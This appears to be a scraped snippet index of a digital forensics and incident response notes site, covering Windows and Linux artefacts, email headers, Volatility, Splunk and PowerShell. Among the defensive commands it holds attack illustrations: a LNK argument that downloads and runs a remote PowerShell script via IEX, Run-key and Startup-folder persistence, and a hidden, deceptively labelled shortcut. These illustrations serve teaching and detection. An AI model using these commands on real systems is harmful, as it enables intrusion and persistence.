DFIR-Notes

https://mahmoud-shaker.gitbook.io/dfir-notes
Admin
DFIR-Notes is a comprehensive digital forensics and incident response documentation covering Windows...
Tokens:38,125
Snippets:600
Trust Score:10
Update:4 months ago
Show doc for...
Tokens:
Raw
### Dynamic Documentation Query Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/network-forensics/network-forensics-with-brim-zui

Example of how to perform an HTTP GET request to query documentation dynamically using the 'ask' parameter.

```http
GET https://mahmoud-shaker.gitbook.io/dfir-notes/network-forensics/network-forensics-with-brim-zui.md?ask=<question>
```

--------------------------------

### DKIMpy Example Command

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

A command-line example using 'dig' to verify DKIM public keys via DNS lookup.

```bash
dig TXT selector1._domainkey.example.com
```

--------------------------------

### Get Hostname and OS Details

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Commands to retrieve the system's hostname and operating system details.

```bash
hostname
```

```bash
uname -a
```

```bash
cat /etc/os-release
```

--------------------------------

### Query Documentation Dynamically

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-tools

To get more information not directly present on the page, make an HTTP GET request to the current page URL with the 'ask' query parameter. The question should be specific and self-contained.

```bash
GET https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-tools.md?ask=<question>
```

--------------------------------

### Executing Calculator via LNK

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/lnk-files-shortcut-files-forensics

This example shows how a LNK file can be configured to execute the Windows Calculator application using cmd.exe.

```text
C:\Windows\System32\cmd.exe /c calc.exe
```

--------------------------------

### Querying Documentation Dynamically

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/bam-background-activity-moderator

To get more information not directly present on the page, you can ask a question by performing an HTTP GET request with the 'ask' query parameter.

```HTTP
GET https://mahmoud-shaker.gitbook.io/dfir-notes/bam-background-activity-moderator.md?ask=<question>
```

--------------------------------

### Querying Documentation Dynamically

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/userassist-keys

To get information not directly on the page, make an HTTP GET request to the current page URL with the 'ask' query parameter. The question should be specific and in natural language.

```HTTP
GET https://mahmoud-shaker.gitbook.io/dfir-notes/userassist-keys.md?ask=<question>
```

--------------------------------

### Query Documentation Dynamically

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/legitimate-windows-processes

Use this GET request to query the documentation with a specific question. The response includes a direct answer and relevant excerpts.

```HTTP
GET https://mahmoud-shaker.gitbook.io/dfir-notes/legitimate-windows-processes.md?ask=<question>
```

--------------------------------

### Query Documentation Dynamically

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/living-off-the-land-binaries-lolbins

To get additional information not directly available on the page, perform an HTTP GET request with the 'ask' query parameter. The question should be specific and in natural language.

```http
GET https://mahmoud-shaker.gitbook.io/dfir-notes/living-off-the-land-binaries-lolbins.md?ask=<question>
```

--------------------------------

### Registry Modification for Persistence via LNK

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/lnk-files-shortcut-files-forensics

This example illustrates how a LNK file can be used to add a registry entry, establishing persistence by ensuring a malicious executable runs on system startup.

```text
cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v FakeEntry /t REG_SZ /d C:\malicious.exe
```

--------------------------------

### List Installed Packages

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Commands to list installed packages on Debian-based ('dpkg -l') and Red Hat-based ('rpm -qa') systems.

```bash
dpkg -l   # For Debian-based systems
```

```bash
rpm -qa   # For Red Hat-based systems
```

--------------------------------

### Querying Documentation via HTTP GET

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/mui-cache

To get additional information not directly available on a page, perform an HTTP GET request on the page URL with the 'ask' query parameter. The question should be specific and in natural language.

```HTTP
GET https://mahmoud-shaker.gitbook.io/dfir-notes/mui-cache.md?ask=<question>
```

--------------------------------

### Querying Documentation Dynamically

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/active-directory/understanding-lsass-kerberos-and-ntds.dit-key-components-in-windows-security

To get additional information not directly present on a page, perform an HTTP GET request with the 'ask' query parameter. The question should be specific and in natural language. This is useful for clarifications or retrieving related documentation.

```HTTP
GET https://mahmoud-shaker.gitbook.io/dfir-notes/active-directory/understanding-lsass-kerberos-and-ntds.dit-key-components-in-windows-security.md?ask=<question>
```

--------------------------------

### Python Class and Object Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/com-component-object-model

Illustrates the basic structure of a Python class and how to create an object instance and call its methods. This serves as a conceptual comparison to COM objects.

```Python
class MyClass:
    def my_method(self):
        print("Method called")

obj = MyClass()
obj.my_method()
```

--------------------------------

### RegRipper Startup and Persistence Plugins

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-registry-forensics-with-regripper

Lists RegRipper plugins used to identify programs configured to start automatically, run once, services, winlogon processes, and drivers that may be used for persistence.

```plaintext
run: Parses the Run key to show programs that are configured to start automatically for the user.
runonce: Similar to run, but shows programs that run only once at startup.
services: Extracts information from the Services key, which contains services that might be used for persistence.
winlogon: Examines the Winlogon key for programs that may execute during the logon process.
drivers: Checks for drivers that load automatically, as malicious drivers may be used for persistence
```

--------------------------------

### From Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Shows the sender's email address, which can be spoofed in phishing attacks.

```email
From: attacker@example.com
```

--------------------------------

### Query Running Processes with Command Line

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Lists running processes, including their Process IDs, names, and the command line used to start them.

```powershell
Get-CimInstance -ClassName Win32_Process | Select-Object ProcessId, ProcessName, CommandLine
```

--------------------------------

### Query Documentation Index

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/active-directory

Use this GET request to ask a specific question about the documentation. The response includes a direct answer and relevant excerpts.

```http
GET https://mahmoud-shaker.gitbook.io/dfir-notes/cidsizemru.md?ask=<question>
```

--------------------------------

### Get Network Interface Information

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Commands to display information about network interfaces.

```bash
ip addr show
```

```bash
ifconfig
```

--------------------------------

### Querying Documentation Dynamically

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs/linux-forensics-dirs

Use this GET request to query the documentation dynamically with a specific question. This is useful when information is not explicitly present or requires clarification.

```bash
GET https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs/linux-forensics-dirs.md?ask=<question>
```

--------------------------------

### Query Installed Hotfixes and Patches

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Retrieves a list of installed hotfixes and patches on the system, including their descriptions and installation dates.

```powershell
Get-CimInstance -ClassName Win32_QuickFixEngineering | Select-Object -Property Description, HotFixID, InstalledOn
```

--------------------------------

### List Installed Software Uninstall Information

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Queries the registry for information related to installed software, specifically focusing on uninstall entries.

```powershell
Get-ChildItem 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\' | Select-Object PSChildName
```

--------------------------------

### Monitor Processes and Services

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

List running processes with Get-Process. Filter processes by name. Select specific properties like Path, Name, and Id. List installed services with Get-Service. Query startup applications from the registry.

```powershell
Get-Process
```

```powershell
Get-Process | Where-Object {$_.ProcessName -match "powershell|notepad"}
```

```powershell
Get-Process | Select-Object -Property Path, Name, Id
```

```powershell
Get-Service
```

```powershell
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
```

```powershell
Get-Service | Export-Csv -Path services.csv
```

```powershell
Get-Process | Out-File -FilePath processes.txt -Append
```

```powershell
Get-Process | ForEach-Object {
    if ($_.CPU -gt 100) {
        Write-Output "$($_.ProcessName) is using high CPU!"  
    }
}
```

```powershell
Get-Service | Where-Object { $_.Status -eq 'Running' } | ForEach-Object { $_.DisplayName }
```

--------------------------------

### Get Kernel Version and Architecture

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Commands to retrieve the kernel version and system architecture.

```bash
uname -r
```

```bash
arch
```

--------------------------------

### Execute Shell Command with Shell.Application

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/com-component-object-model

This example shows how to use the Shell.Application COM object to execute a shell command, such as opening Notepad. This is useful for automating file and application launches.

```PowerShell
$shell = New-Object -ComObject Shell.Application
$shell.ShellExecute('notepad.exe')
```

--------------------------------

### Authentication-Results Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Summarizes authentication checks like SPF, DKIM, and DMARC, highlighting failures.

```email
Authentication-Results: dmarc=fail spf=pass dkim=pass
```

--------------------------------

### Querying Documentation Dynamically

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/jump-list-forensics

Perform an HTTP GET request to query this documentation dynamically. Use the 'ask' query parameter with a specific question in natural language.

```HTTP
GET https://mahmoud-shaker.gitbook.io/dfir-notes/jump-list-forensics.md?ask=<question>
```

--------------------------------

### Ask a Question via HTTP GET

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/timestomp-challenge-eg-ctf-2025-forensics-write

Use this method to query the documentation index for specific information. Append your question to the URL using the 'ask' parameter.

```http
GET https://mahmoud-shaker.gitbook.io/dfir-notes/windows-registry-forensics.md?ask=<question>
```

--------------------------------

### Date Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Shows when the email was sent, important for detecting time discrepancies.

```email
Date: Mon, 18 Dec 2024 10:00:00 -0500
```

--------------------------------

### To Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Indicates the intended recipient(s) of the email.

```email
To: victim@target.com
```

--------------------------------

### Return-Path Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Specifies the address for bounce messages, potentially differing from the 'From' header in spoofing.

```email
Return-Path: <noreply@fakebank.com>
```

--------------------------------

### Ask a Question via HTTP GET

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/google-cloud-platform-gcp-forensics

Use this method to query the documentation index for specific information by appending an 'ask' parameter to the URL. The response includes a direct answer and relevant excerpts.

```HTTP
GET https://mahmoud-shaker.gitbook.io/dfir-notes/windows-memory-forensics.md?ask=<question>
```

--------------------------------

### X-Mailer Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Indicates the software used to send the email, potentially revealing custom or malicious tools.

```email
X-Mailer: Microsoft Outlook 16.0
```

--------------------------------

### Querying Documentation via HTTP GET

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/incident-response-eventhoods

Use this method to dynamically query the documentation for information not explicitly present on the page. The response includes a direct answer, relevant excerpts, and sources.

```HTTP
GET https://mahmoud-shaker.gitbook.io/dfir-notes/incident-response-eventhoods.md?ask=<question>
```

--------------------------------

### Thread-Index Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Used for grouping related emails, helpful in reconstructing email chains during investigations.

```text
Thread-Index: AQHWPjDK5kB5lBSEyUSnmA==
```

--------------------------------

### X-Received Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Provides additional details about an email's journey, useful for tracing paths when other headers are incomplete.

```text
X-Received: by 10.200.10.1 with SMTP id abcdef123; Thu, 18 Dec 2024 15:00:00 -0800 (PST)
```

--------------------------------

### Received Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Illustrates the path an email took through various mail servers, showing the origin IP.

```email
Received: from mail.example.com (123.45.67.89) by smtp.company.com
```

--------------------------------

### Retrieve System Information

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Use Get-SystemInfo to get detailed system information. Get-ComputerInfo provides general system details. Get-WmiObject -Class Win32_OperatingSystem retrieves OS details. Check system boot time using the LastBootUpTime property. Environment variables can be listed with Get-ChildItem env:\.

```powershell
Get-SystemInfo
```

```powershell
Get-ComputerInfo
```

```powershell
Get-WmiObject -Class Win32_OperatingSystem
```

```powershell
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*
```

```powershell
(Get-WmiObject -Class Win32_OperatingSystem).LastBootUpTime
```

```powershell
Get-ChildItem env:\
```

```powershell
dir env:\
```

--------------------------------

### X-Originating-IP Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Shows the IP address of the sender's device, aiding in geographic or ISP identification.

```email
X-Originating-IP: [192.168.1.1]
```

--------------------------------

### Automate Excel with Excel.Application

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/com-component-object-model

Demonstrates programmatic interaction with Microsoft Excel using the Excel.Application COM object. This allows for creating, saving, and manipulating workbooks. Ensure Excel is installed.

```PowerShell
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Add()
$workbook.SaveAs("C:\temp\example.xlsx")
$excel.Quit()
```

--------------------------------

### Boot and Initialization Logs Overview

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs

Log files generated during the system boot process and kernel-specific events.

```text
/var/log/boot.log: Logs generated during system boot.
/var/log/kern.log: Kernel-specific events during system operation and boot.
```

--------------------------------

### Filter JSON Logs with jq

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Demonstrates using 'jq' to filter JSON data. The first example selects events with a 'failed' status, and the second extracts source IP addresses.

```bash
cat logs.json | jq '.events[] | select(.status == "failed")'
```

```bash
cat logs.json | jq '.events[] | .source_ip'
```

--------------------------------

### List All Running Processes (Brief)

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Provides a concise list of all currently running processes on the system.

```shell
wmic process list brief
```

--------------------------------

### Application and Service Logs Overview

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs

Log directories for common web servers (Apache, Nginx), databases (MySQL, PostgreSQL), and Docker.

```text
/var/log/apache2/: Logs for Apache web server (e.g., access and error logs).
/var/log/apache2/access.log  : Analyzes requests
/var/log/nginx/: Logs for NGINX web server.
/var/log/mysql/: Logs for MySQL/MariaDB database activities.
/var/log/postgresql/: Logs for PostgreSQL database activities.
/var/log/docker.log: Logs related to Docker container activities.
/var/lib/docker/containers/: Individual container logs.
```

--------------------------------

### Reply-To Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Indicates an alternate address for replies, often abused in phishing.

```email
Reply-To: scammer@malicious.com
```

--------------------------------

### List All Running Processes (Full Detail)

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Displays comprehensive details for all running processes on the system.

```shell
wmic process list full
```

--------------------------------

### List-Unsubscribe Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Provides an unsubscribe mechanism for mailing lists; can be spoofed in phishing campaigns.

```text
List-Unsubscribe: <mailto:unsubscribe@example.com>
```

--------------------------------

### List Autoruns for Persistence Detection

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Queries the registry for programs configured to run automatically at system startup, useful for detecting persistence mechanisms.

```powershell
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
```

--------------------------------

### Received-SPF Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Shows the result of SPF checks, where 'Fail' might indicate spoofing.

```text
Received-SPF: Fail (domain.com: unauthorized sender)
```

--------------------------------

### Miscellaneous Logs Overview

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs

Locations for X server logs, cloud instance initialization logs, and rootkit scanner logs.

```text
/var/log/xorg.0.log: X server (GUI) logs.
/var/log/cloud-init.log: Logs for cloud instance initialization.
/var/log/rkhunter.log: Logs from Rootkit Hunter scans (if installed).
```

--------------------------------

### DKIM-Signature Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Contains a cryptographic signature to verify email integrity and sender authenticity.

```email
DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=default; ...
```

--------------------------------

### List Running Processes (pslist)

Source: https://mahmoud-shaker.gitbook.io/dfir-notes

Use the 'pslist' plugin to view a list of all running processes on the system. This is a fundamental step in process analysis.

```bash
vol.py -f <memory image> windows.cmdline --pid <process_id>
```

--------------------------------

### Message-ID Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Provides a unique identifier for an email, useful for tracing and identifying duplicates.

```email
Message-ID: <1234567890@mail.example.com>
```

--------------------------------

### Take Snapshot of Memory Information

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Collects detailed information about the physical memory modules installed on the system.

```powershell
Get-WmiObject -Class Win32_PhysicalMemory
```

--------------------------------

### Copy Payload to Startup Folder via Shell.Application

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/distributed-component-object-model-dcom

This PowerShell snippet demonstrates using the Shell.Application COM object to copy a payload to the system's Startup folder, enabling persistence.

```powershell
$Shell = New-Object -ComObject "Shell.Application"
$Startup = $Shell.Namespace(0x7)  # Startup folder
$Startup.CopyHere("C:\malicious.exe")
```

--------------------------------

### Identify Available Sourcetypes and Sources

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/incident-response-splunk-filters

Use metadata commands to discover available sourcetypes and sources, along with their event counts and time ranges.

```splunk
| metadata type=sourcetypes
| table sourcetype, totalCount
```

```splunk
| metadata type=sources
| table source totalCount firstTime lastTime
```

--------------------------------

### X-Spam-Status Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Indicates if an email was flagged as spam and provides the score and tests that triggered the flag.

```text
X-Spam-Status: Yes, score=7.5 required=5.0 tests=HTML_MESSAGE,URI_HEX
```

--------------------------------

### Identify Registry-Based Persistence with handles

Source: https://mahmoud-shaker.gitbook.io/dfir-notes

Identifies registry keys a process has opened, looking for persistence mechanisms. Common keys for startup and user logon are listed.

```bash
vol.py -f  <memory image>  windows.handles --pid < process PID >
```

--------------------------------

### Received-SPF Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Indicates the result of Sender Policy Framework check, verifying sender authorization.

```email
Received-SPF: pass (domain of example.com designates 123.45.67.89 as permitted sender)
```

--------------------------------

### Compare PowerShell and Command Prompt Equivalents

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

This table provides a quick reference for common forensic tasks, showing the equivalent PowerShell cmdlets and command-line utilities.

```powershell
Get-Process
```

```powershell
Get-NetTCPConnection
```

```powershell
Get-ChildItem
```

```powershell
Get-Service
```

```powershell
Get-LocalUser
```

```powershell
Get-LocalGroup
```

```powershell
Get-ScheduledTask
```

```powershell
Get-WinEvent
```

--------------------------------

### List Mounted Filesystems

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

The 'mount' command lists all currently mounted filesystems on the system.

```bash
mount
```

--------------------------------

### Subject Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Displays the email's subject line, useful for identifying phishing triggers.

```email
Subject: Account Verification Needed

```

--------------------------------

### List Running Services

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Commands to list running services on the system using 'systemctl' or 'service'.

```bash
systemctl list-units --type=service
```

```bash
service --status-all
```

--------------------------------

### List Running Processes

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Commands to list running processes on the system using different tools.

```bash
ps aux
```

```bash
top
```

```bash
htop
```

```bash
crontab -l
```

--------------------------------

### Content-Type Header Example

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/key-email-headers-for-soc-analysts-and-dfir

Specifies the email content format, useful for detecting malicious payloads or identifying HTML emails.

```email
Content-Type: multipart/alternative; boundary="0000boundary"
```

--------------------------------

### Cron Jobs and Task Scheduling Overview

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs

Configuration file for cron jobs and directory for scheduled task configurations.

```text
/etc/crontab : logs the execution of scheduled tasks via cron and Identify unauthorized or suspicious cron jobs. /var/spool/cron/crontabs/
/etc/systemd/system/persistence.service/
```

--------------------------------

### List Hidden Files

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

The 'ls -a' command lists all files in a directory, including hidden files (those starting with a dot).

```bash
ls -a
```

--------------------------------

### Executing PowerShell Payload via LNK

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/lnk-files-shortcut-files-forensics

Demonstrates using a LNK file to execute a PowerShell command that downloads and runs a malicious script from a URL. This is a common technique for initial access.

```text
/c powershell -ExecutionPolicy Bypass -NoProfile -Command "IEX (New-Object Net.WebClient).DownloadString('http://malicious-url/malware.ps1')"
```

--------------------------------

### Check for Hidden Services or Processes

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Identifies services that are configured to start automatically but are not currently running, potentially indicating hidden or misconfigured services.

```powershell
Get-WmiObject -Class Win32_Service | Where-Object { $_.StartMode -eq 'Auto' -and $_.State -ne 'Running' }
```

--------------------------------

### Detect WMI Filter-to-Consumer Binding (Event ID 21)

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/incident-response-splunk-filters

Monitor for the binding of WMI filters to consumers, indicating a potential malicious setup.

```Splunk
index=sysmon EventCode=21 
| table _time ComputerName User EventID Filter Consumer
```

--------------------------------

### Show Block Devices

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

The 'lsblk' command displays block devices in a tree-like structure, showing their relationships.

```bash
lsblk
```

--------------------------------

### Inspect Loaded Modules for Processes

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

List loaded modules for each process using Get-Process and ForEach-Object. Analyze DLLs loaded by a specific process like notepad.

```powershell
Get-Process | ForEach-Object { $_.Modules | Select-Object -Property ModuleName, FileName }
```

```powershell
(Get-Process -Name "notepad").Modules | Select-Object ModuleName, FileName
```

--------------------------------

### Detect DCOM Object Activation Event

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/distributed-component-object-model-dcom

This is an example query for Windows Event Viewer to identify DCOM object activations, which can be an indicator of lateral movement.

```vbnet
Event ID: 10000
Source: DistributedCOM
Description: Activation of DCOM object {CLSID} from remote host X.X.X.X.
```

--------------------------------

### Check System Startup and Shutdown History

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Retrieves the last boot-up time and the current local date and time of the operating system.

```powershell
Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property LastBootUpTime, LocalDateTime
```

--------------------------------

### RegRipper Command Line Usage

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-registry-forensics-with-regripper

Basic command-line syntax for using RegRipper to analyze a registry hive with a specified plugin.

```bash
rip -r c:\case\ntuser.dat  -p <plugin>
```

--------------------------------

### List Loaded DLLs for a Process

Source: https://mahmoud-shaker.gitbook.io/dfir-notes

Use the 'dlllist' plugin to enumerate all DLLs loaded by a specific process. Useful for identifying injected or suspicious modules.

```bash
vol.py -f <memory image> windows.dlllist --pid <process_id>
```

--------------------------------

### Find Specific System Event Log Entries

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/windows-powershell-forensics

Filters the system event log for entries with Event ID 7045 (a service was installed) and displays their creation time and message.

```powershell
Get-WinEvent -LogName System | Where-Object -Property Id -EQ 7045 |
Format-List -Property TimeCreated,Message
```

--------------------------------

### Miscellaneous System Information Plugins

Source: https://mahmoud-shaker.gitbook.io/dfir-notes

Provides basic system information and extracts specific data like hibernation details.

```text
windows.info: Shows basic information about the Windows memory image.
timeliner: Creates a timeline of activities from memory.
hibinfo: Extracts hibernation information.
verinfo: Shows the version information of the Windows kernel.
```

--------------------------------

### View DNS Resolution Configuration

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Display the content of the resolv.conf file, which specifies DNS server configurations.

```bash
cat /etc/resolv.conf
```

--------------------------------

### List Data Sources by Host in Splunk

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/incident-response-splunk-filters

Use the metadata command to list hosts and their associated event counts and first/last seen times.

```splunk
| metadata type=hosts
| table host, totalCount, firstTime, lastTime
```

--------------------------------

### Check System Uptime and Load

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Commands to check the system's uptime and current load.

```bash
uptime
```

```bash
w
```

--------------------------------

### System and Package Updates Logs Overview

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs

Log directories for package management activities on Debian-based and Red Hat-based systems, and file-sharing logs.

```text
/var/log/apt/: Logs for package management activities (Debian-based systems).
/var/log/yum.log or /var/log/dnf.log: Logs for package management (Red Hat-based systems).
/var/log/samba  : Logs file-sharing activities for Samba servers - Track unauthorized access to shared resources
/var/log/nfslog  :  Tracks access to Network File System shares.
```

--------------------------------

### COM Hijacking Example: Registry Key Modification

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/com-component-object-model

Attackers can hijack COM objects by modifying the InProcServer32 registry key to point to a malicious DLL. This causes the malicious DLL to be loaded instead of the legitimate one when the COM object is accessed.

```text
Original key: C:\Windows\System32\legit.dll
Changed to: C:\Users\Attacker\evil.dll
```

--------------------------------

### Check for Recent Execution Indicators (prefetch)

Source: https://mahmoud-shaker.gitbook.io/dfir-notes

Use the 'prefetch' plugin to examine prefetch files, which can indicate recently executed programs and provide timestamps for analysis.

```bash
prefetch:Check for indicators of recent execution
```

--------------------------------

### User Credentials Files Overview

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs

System files related to user accounts, passwords, and group memberships.

```text
/usr/bin/passwd
/etc/passwd : Lists all system users. 
/etc/shadow : Stores hashed passwords for users
/etc/group    : Defines group memberships 
```

--------------------------------

### Process and Task Monitoring Logs Overview

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs

Log file locations for cron job execution, advanced system monitoring, and dynamic process information.

```text
/var/log/cron: Logs cron job execution.
/var/log/atop: Advanced system and process resource monitoring logs.
/proc/: Dynamic runtime system information, including process details (e.g., /proc/<PID>).
```

--------------------------------

### Create Malicious LNK Shortcut with PowerShell

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/lnk-files-shortcut-files-forensics

This PowerShell script creates a hidden LNK file on the user's desktop. It configures the shortcut to execute 'calc.exe' and assigns a hotkey (Ctrl+C) for activation, demonstrating a method for creating malicious shortcuts.

```powershell
$path                      = "$([Environment]::GetFolderPath('Desktop'))\FakeText.lnk"
$wshell                    = New-Object -ComObject Wscript.Shell
$shortcut                  = $wshell.CreateShortcut($path)

$shortcut.IconLocation     = "C:\Windows\System32\shell32.dll,70"

$shortcut.TargetPath       = "cmd.exe"
$shortcut.Arguments        = "/c calc.exe"
$shortcut.WorkingDirectory = "C:"
$shortcut.HotKey           = "CTRL+C"
$shortcut.Description      = "Nope, not malicious"

$shortcut.WindowStyle      = 7
                           # 7 = Minimized window
                           # 3 = Maximized window
                           # 1 = Normal    window
$shortcut.Save()

(Get-Item $path).Attributes += 'Hidden' # Optional if we want to make the link invisible (prevent user clicks)
```

--------------------------------

### List Kernel Modules

Source: https://mahmoud-shaker.gitbook.io/dfir-notes

Use the 'modules' plugin to list all kernel modules (drivers) loaded in memory. This is important for identifying suspicious or unauthorized drivers.

```bash
modules: Lists kernel modules (drivers) loaded in memory.
```

--------------------------------

### Calculate File Hash

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Commands to calculate the SHA256 and MD5 hashes of a file.

```bash
sha256sum filename
```

```bash
md5sum filename
```

--------------------------------

### Analyze Memory Dump with Volatility 3

Source: https://mahmoud-shaker.gitbook.io/dfir-notes

General command structure for analyzing a memory dump using Volatility 3. Specify the memory dump file and the plugin to use.

```bash
python3 vol.py -f <memory_dump> <plugin_name> [options]
```

--------------------------------

### List Open Files by Process

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

The 'lsof' command with the '-p' option lists all open files associated with a specific process ID (PID).

```bash
lsof -p PID
```

--------------------------------

### List DLLs for dllhost.exe

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/distributed-component-object-model-dcom

Use the Volatility3 'dlllist' plugin to find DLLs loaded by suspicious processes like 'dllhost.exe'. This helps identify potentially malicious modules.

```bash
vol.py -f memory.dmp  windows.dlllist | grep dllhost.exe
```

--------------------------------

### Check Sudoers File

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-commands

Display the content of the sudoers file to review user privileges.

```bash
cat /etc/sudoers
```

--------------------------------

### Security Policies and Controls Overview

Source: https://mahmoud-shaker.gitbook.io/dfir-notes/linux-forensics/linux-forensics-logs

Configuration file for sudo permissions, used to check for unauthorized privilege escalation.

```text
/etc/sudoers : Defines sudo permissions - Check for unauthorized privilege escalation
```

--------------------------------

### Analyze File System and Registry

